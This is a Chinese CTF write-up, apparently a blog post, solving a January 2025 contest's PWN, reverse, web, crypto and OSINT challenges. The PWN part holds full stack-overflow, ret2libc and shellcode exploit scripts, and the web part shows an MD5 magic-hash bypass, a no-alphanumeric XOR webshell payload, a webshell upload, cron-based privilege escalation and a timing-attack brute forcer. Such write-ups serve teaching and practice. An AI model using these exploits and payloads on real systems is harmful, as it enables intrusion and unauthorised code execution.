比赛地址:http://ctf.wdsec.com.cn:7788/
比赛时间:2025年1月10日上午10点00分 - 2025年1月25日晚上6点00分
一、PWN
无痛Pwn之路
nc连接
直接用pwntools发送即可
from pwn import *
io = remote('ctf.wdsec.com.cn', 33421)
context.log_level = 'debug'
io.sendline(b'\x01\x02\x03\x04')
io.interactive()
ret2text
可以看到存在栈溢出漏洞,经过长期的探索下居然发现有隐藏的后门。。。
from pwn import *
#io = process('./ret2text')
io = remote('ctf.wdsec.com.cn',33010)
elf = ELF('./ret2text')
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#gdb.attach(io)
payload = b'a'*0x28 + p64(0x4011B8)
io.sendlineafter(b'input:\n',payload)
io.interactive()
"注意这里有一个栈对齐"
ret2text_plus
main函数初始化后就直接进入了这个函数,发现存在溢出但是溢出空间只有0xA,而且这里有一个很细节的坑,我调试了好久都没发现,就是i的值在覆盖栈上变量空间时候容易被忽略导致i的值被错误覆盖从而导致错误,注意通过调试来找准对齐修改i的值。
栈空间:
EXP:
from pwn import *
io = process('./ret2text_plus')
#io = remote('ctf.wdsec.com.cn',33173)
elf = ELF('./ret2text_plus')
context.log_level = 'debug'
gdb.attach(io,'b*0x401AF5\nc')
payload = b'A'*40+p32(2)+p32(0x30)
payload += p32(0x401231)
#0x40116A
payload += p64(0x4011AA)
io.sendafter(b'please input:\n', payload)
io.interactive()
ret2libc
buf距离栈底部rbp的距离为0x20,但是read的写入只有46,相当于只有14字节溢出
发现另外一个函数有更大的溢出:
利用ROP劫持程序运行到这个函数:
p.send(b'a'*0x28+b'\xe7\x12\x40\x00\x00\x00')
然后就是进行正常的ret2libc
from pwn import *
from LibcSearcher import *
#io = process('./ret2libc')
p = remote('ctf.wdsec.com.cn',33077)
e=ELF('./ret2libc')
context(arch='amd64', os='linux',log_level='debug')
#gdb.attach(p)
p.recvuntil(b"please input:\n")
p.send(b'a'*0x28+b'\xe7\x12\x40\x00\x00\x00')
p.recvuntil(b"now, try to get the libc!!!\n")
p.send(b'a'*0x28+p64(0x4012cc)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(0x4012e7))
puts_got_addr=u64(p.recv(6).ljust(8,b'\x00'))
print("puts_got_addr:",hex(puts_got_addr))
p.recvuntil(b"now, try to get the libc!!!\n")
p.send(b'a'*0x28+p64(0x4012cc)+p64(e.got['write'])+p64(e.plt['puts'])+p64(0x4012e7))
write_got_addr=u64(p.recv(6).ljust(8,b'\x00'))
print("write_got_addr:",hex(write_got_addr))
libc = LibcSearcher('puts',puts_got_addr)
libc.add_condition('write',write_got_addr)
libcbase = puts_got_addr -libc.dump('puts')
system_addr=libcbase + libc.dump('system')
bin_sh=libcbase + libc.dump('str_bin_sh')
p.recvuntil(b"now, try to get the libc!!!\n")
p.send(b'a'*0x28+p64(0x4012cc)+p64(bin_sh)+p64(system_addr))
p.interactive()
ret2libc_plus
这个题比赛期间没有做出来,后来看官方wp的时候是发送了35遍payload1,有点不清楚是为什么
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./ret2libc_Plus')
elf = ELF('./ret2libc_Plus')
pop_rdi = 0x4011d6
puts_got = elf.got['puts']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']
payload1 = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
for i in range(35):
io.sendafter(b':', payload1)
#io.sendlineafter(b':', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x401016
payload2 = b'a'*0x28 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
io.sendafter(b':', payload2)
io.interactive()
ret2shellcode
这个题主要的考点在于短shellcode,直接用pwntools生成的shellcode会超过字节限制,所以只能手写shellcode
from pwn import *
io = process('./ret2shellcode')
context.log_level = 'debug'
context.arch = 'amd64'
io.recvuntil(b'0x')
addr = int(io.recvline(),16)
print("addr = ",hex(addr))
shellcode = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
''')
payload = shellcode.ljust(0x28,b'\x90') + p64(addr)
io.sendlineafter(b'input:',payload)
io.interactive()
二、Reverse
Happy奶龙
运行程序
base64解密然后加上RDCTF{Hell0_This_1s_butt3rf1y_Congratulations_Y0u_g3t_fl4g!}
奶龙大帝
文件名叫pypackage.py,猜测是python打包的exe程序。
用pyinstxtractor解包出来:
找到pypakcage.pyc用uncompyle6还原为python文件
发现使用了简单凯撒密码进行解密,写出解密脚本:
def caesar_decrypt(ciphertext, shift):
decrypted_flag = ""
for char in ciphertext:
if char.isalpha():
base = ord("A") if char.isupper() else ord("a")
decrypted_char = chr((ord(char) - base - shift) % 26 + base)
decrypted_flag += decrypted_char
else:
decrypted_flag += char
return decrypted_flag
enc = "UGFWI{L_4p_wk3_P1on_Gudj0q_Hpshu0u!}"
shift = 3
# 解密加密的flag
decrypted_flag = caesar_decrypt(enc, shift)
print(decrypted_flag)
upx
用upx自动脱壳
观察程序逻辑是需要输入了长度为29的字符串,然后经过rc4加密后与flag对比
因为rc4是对称加密算法,所以使用调试将加密后的flag patch进去走一遍加密流程即可
奶龙爱吃贪玩蛇
这个题有点骚啊,看了好久才发现其中的问题
可以看到在update_food函数中
第一段flag和第二段flag直接就可以拿到,然后第四段flag就是
这里的字符异或了一个4,再将他异或回去就可以
然后第五段flag可以通过游戏输出
然后最关键的一个点就在第三段flag:
当score=30的时候,程序偷偷修改了一个数据,首先看
字符串的位置是140005198
然后发现就刚刚好是fl4g!的!的位置
解出第三段flag:
#!/usr/bin/env python3
def rc4_init(key: bytes) -> list:
"""
标准 RC4 KSA
"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
return S
def rc4_crypt(data: bytes, key: bytes) -> bytes:
"""
RC4 加/解密 + 每字节再 XOR 0x66
(因为原C代码里对正文每字节都 ^ (RC4输出) ^ 0x66)
"""
S = rc4_init(key)
i = 0
j = 0
out = bytearray(len(data))
for idx, c in enumerate(data):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
# 标准RC4产出的流字节
K = S[(S[i] + S[j]) & 0xFF]
# 再加上 xor 0x66
out[idx] = c ^ K ^ 0x66
return bytes(out)
if __name__ == "__main__":
# 1) 准备好真正的 key
real_key = b"fl4g?"
print("Real Key (hex) =", real_key.hex().upper())
# 2) 将题目给出的密文读进来
hex_cipher = "8D024033492B7324EBB6"
ciphertext = bytes.fromhex(hex_cipher)
print("Ciphertext =", ciphertext.hex().upper())
# 3) 解密
plain = rc4_crypt(ciphertext, real_key)
print("Plaintext =", plain)
# 如果它是可见字符,可以再试试 plain.decode('ascii') 看看
Plaintext = b'y0u_f1nd_'
将几段flag拼凑起来得出最终flag:
flag{G0o0d_j0b!y0u_f1nd_@ll_th3_p@rt5_of_fl4g?}
## revenge_twice
发现存在花指令:
![Pasted image 20250125191527.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816887-Pasted-image-20250125191527.png)
继续观察程序,发现有一段是在输出flag
![Pasted image 20250125192039.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816891-Pasted-image-20250125192039.png)
可以通过改变程序逻辑使得程序直接跳转到输出flag处
![Pasted image 20250125192809.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816895-Pasted-image-20250125192809.png)
发现这里是跳转到错误的jmp
![Pasted image 20250125192844.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816899-Pasted-image-20250125192844.png)
将他改成跳转到输出flag,并且把后面改为数据
![Pasted image 20250125193019.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816902-Pasted-image-20250125193019.png)
![Pasted image 20250125193801.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816905-Pasted-image-20250125193801.png)
三、WEB
web也会有签到
查看源代码然后base64解码即可
竟然是Warmup?
level1:
通过md5同样为0e开头的值即可绕过这种的弱比较
以0e开头的MD5值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
level2:
利用php非法参数名
Nai[Long.body=fat%0a
用0a截断
level3:
因为不能用小写字母和数字
可以参考下面这篇文章:
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
最终payload:
http://ctf.wdsec.com.cn:33084/
?NLhead=s155964671a
&NLhand=s878926199a
&Nai[Long.body=fat%0a
&NLfeet=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%2f%60%60%60%60%2e%7b%60%7b");
frank1q22来送礼物了
第一个Pen需要post一个链接内容中还要包含franklq22,这里我应该是非预期了,我在自己的网站下建立了一个txt然后pen指向我的连接,然后第二个challenge同样的思路,因为strpos只会比较和后面链接相同的部分而且这里最后也没有加/,所以我又解析了一个子域名🤣和他的前缀一样的
然后到nlrce.php发现可以执行命令了但是有过滤,不过也可以找到一些替代
奶龙的文件上传
发现网页403,我一开始还以为容器没打开还在群里问哈哈哈,还是web题做少了。
用dirsearch扫描了一下发现upload.php
可以上传图片马,使用yakit抓包上传图片马并且改后缀为php
得到shell路径:
用蚁剑连接,发现有定时任务会删除文件,而且发现没有权限打开flag,我还以为这里要提权还找了cve来尝试,居然根目录下的fllllag.sh有可写权限而且还是定时任务root执行,
于是可以写一个输出fllllag.sh输出flag
然后稍作等待
wc,是php
先试了密码长度,是8,然后拿个脚本爆出密
# 自动化获取密码
def find_password():
password = ""
for position in range(password_length):
max_time = 0
correct_digit = "0"
for digit in "0123456789": # 遍历所有数字
test_time = test_digit(password, position, digit)
print(f"正在测试: {password + digit},耗时: {test_time:.5f} 秒")
if test_time > max_time:
max_time = test_time
correct_digit = digit
password += correct_digit # 确认当前位
print(f"找到的部分密码: {password}")
return password
# 开始攻击
if __name__ == "__main__":
print("开始破解密码...")
final_password = find_password()
print(f"破解完成,密码为: {final_password}"
拿到密码,post传参pass=65546169
访问一下
在这串代码中 preg_replace() 用来执行正则替换, $_GET['a'] 是正则表达式, 的内容, $_GET['c'] 是要被替换的字符串。如果 $_GET['a'] 中包含
_GET['cmd'])&c=dummy&cmd=cat /flag $_GET['b'] 是替换 /e 修饰符,那么PHP
得到flag
四、AI
猫粮
五、OSINT
图寻1
找到大致位置55.755,37.617,然后用地图尝试后得到flag
flag{7555eed6d4f599847ef983e9a982e93d}
图寻2
google地图找不到
在附近苦苦寻找了多久好久之后
63.813,-18.011
flag{80c7218d9f5e7c332d15bc94c794f9c9}
六、Crypto
Hello_Crypto
直接用脚本解密:
from Crypto.Cipher import AES
from binascii import unhexlify
# 已知密钥和 IV
key = IV = bytes.fromhex("1234567890abcdef1234567890abcdef")
# 加密数据(拼接成完整的密文)
ciphertext = bytes.fromhex(
"26a8191576aa59308f9ff3469bebbd0c8d27820531130d"
"fe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c"
)
# 解密
cipher = AES.new(key, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(ciphertext)
# 去除填充
def unpad(s):
return s[:-s[-1]]
flag = unpad(plaintext).decode()
print(flag)
base64解码得:flag{W3lc0m3_T0_TH3_CrypT0_W0rld}
Login
先把key转化为了数字,然后加密:
new_index = (原字母索引 + key_nums[pointer]) % 26
new_index
再与pointer
做 XOR,得到最终索引。
from Crypto.Util.number import long_to_bytes
alpha1 = 'abcdefghijklmnopqrstuvwxyz'
alpha2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 已知数据
ciphertext = "byqo{A31k0kl_m0_YODPS}"
fake_key = "76e6f6c69616e6968637f677" # 提供的十六进制 key(反转)
# 还原 key
key = long_to_bytes(int(fake_key[::-1], 16)).decode()
print(f"Recovered key: {key}")
# 解密函数
def decrypt(ciphertext, key):
key_nums = []
pointer = 0
ans = ''
for i in key:
if i in alpha1:
key_nums.append(alpha1.find(i))
elif i in alpha2:
key_nums.append(alpha2.find(i))
for i in ciphertext:
if i in alpha1:
new_index = alpha1.find(i) ^ pointer
original_index = (new_index - key_nums[pointer]) % 26
ans += alpha1[original_index]
pointer = (pointer + 1) % len(key_nums)
elif i in alpha2:
new_index = alpha2.find(i) ^ pointer
original_index = (new_index - key_nums[pointer]) % 26
ans += alpha2[original_index]
pointer = (pointer + 1) % len(key_nums)
else:
ans += i # 直接复制非字母字符
return ans
# 还原 flag
flag = decrypt(ciphertext, key)
print(f"Recovered flag: {flag}")
EZ_RSA
伟大的ChatGPT o1秒了
from Crypto.Util.number import *
from math import gcd
# 已知公开信息(从题目复制过来即可):
c = 8010415678766495559206888104308220461000137190504006792719473726344733619441141193462632115436953071133591418480457170724671799432518092660776309476406070558451285172355261125033267340649376421801091685798286314106142855053515428470474693625489377898001862186681685082360598622408094264333299738655461877207390809495955984957338296805424644630493393029139944919536399174215810604102444550172759845344395864486440754752041405094877450680140850037755156965823345868285966939695682195399775462308951218301326547363911121730948439732333381005743591960455287452246675824174748812338877227345103716723376979538380032002880
hint = 4954477722794007679259787705071851835680630074373589614154901212439091693825106875479842554606153058190995214347117184687613051142282846871128812252250637326896296788563890362185505010773931888829285558128596857093099418604694919454819343842312843108124919481178288207784060364226550053354580189857537158580943897179549277643338951797705412207045370229744214727707911966864066911560213737637233870360113799892826929003703273846381898853719476623176860704557650283662945755147547068370364286870324024577488484455358602429710219447526127782448349463942117410190437938834954390911495483413355957621606751450577074102729
n = 10784287819385415353621875218563143302159768325704928073867416808040916996479341048063223714643174249461097295535297542385475849470046760369978768211220988313304188367229395180043407712292398872921220233051142848776456790641708863113887722318345601554351621305567539237641096651148337525250970956775311944016141879494664318933091284315673333318969018209756116226492696486038744619977928991239409925382390262035475423869395568601956013364403631988387757474363593218046567386448482628006367012358287524440361632608335934523058793771435203563217660703267386600175482629638068995270497505139491768944189370651947532096313
e = 0x10001 # 65537
# 第一步:利用 gcd 得到 p
# 计算 2^n mod n
pow_2n_mod_n = pow(2, n, n)
# 计算 p = gcd(hint - 2^n, n)
p = gcd(hint - pow_2n_mod_n, n)
if p == 1 or p == n:
# 如果不巧是 1,说明情况特殊(或者我们本来就应该得到的可能是 q)
# 那就再试一下 gcd(hint + pow_2n_mod_n, n),或者你可以直接交换思路
p = gcd(hint + pow_2n_mod_n, n)
# 得到 q
q = n // p
# 第二步:计算私钥 d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
# 第三步:解密得到明文 m
m = pow(c, d, n)
# 第四步:将明文转成字符串
flag = long_to_bytes(m)
print(flag)
EZ_RSA3
p和q都给了,直接rsa无脑出,但是报错了,提示e和phi不互素,网上搜到个脚本,数据一改还真出了,参考文献:[[https://blog.csdn.net/XiongSiqi_blog/article/details/130296035]]
from Crypto.Util.number import *
import gmpy2
p= 111461468683434975170530082386729308107721083330906321058829121868326203430516773024485160400892174495966198556599452146295591878375056413679531156926335281885967735274037488966954241985730655093765767422341322517922766939016379989407145412091848456414574239068924973099845847680344754993017711649519082586907
q= 135059880024258078020929974489544029792994133864551720912636124561116374784209453412300842283879224283596533450952894183516931875969274005736947998604565020290825188410459845975970263881482961767263235648934211129811591747510154846615233845871887644159755687581177174650685690858554979076239705934188310748057
c= 14327804862664623364063959258427178907935384957710441654762368424900120280331345933628360240942622378528249399860274042388166444652264747772626182323631853384104248637306969357143688880736707775656162677920244822555418781064546615832984761008516662819058902729743553993810384792884287893556573015762231261295116313261495782463177386276342992071459495908705548654524926818736963302956262559366847765617107171213693590110396340998799738668493863993908256526309854145408616790448211605902340292953799051938220864866878238498670416409507471485181473643985920194302180643875443988264359015252402590566318567500376646205537
e=20082298101283703288320865436585567770885249
n = 15053972587712326737984981095267960792339756622065073579111188525445868510590330659604223270721184072331493839265159470170355392171799351983071497034810534019098703586813178437220000299237564282685942973829256106470995577875224440900106659050273746948304690979611555091116990178959102554357379384064023182080666700106786150886642818482223897622665849350111428407215080384898306325112756469433773725135674797895617970989257055210731649722015842513058362567716844365541283978060810817157268638267744593919341826683904937473139716860255365258773315735723264469047254466729380062497129772537539992820940452374819883889699
phi = (p-1)
print(gmpy2.gcd(e,phi))
d = gmpy2.invert(e,phi)
m = pow(c,d,p)
print(long_to_bytes(m))
Comments NOTHING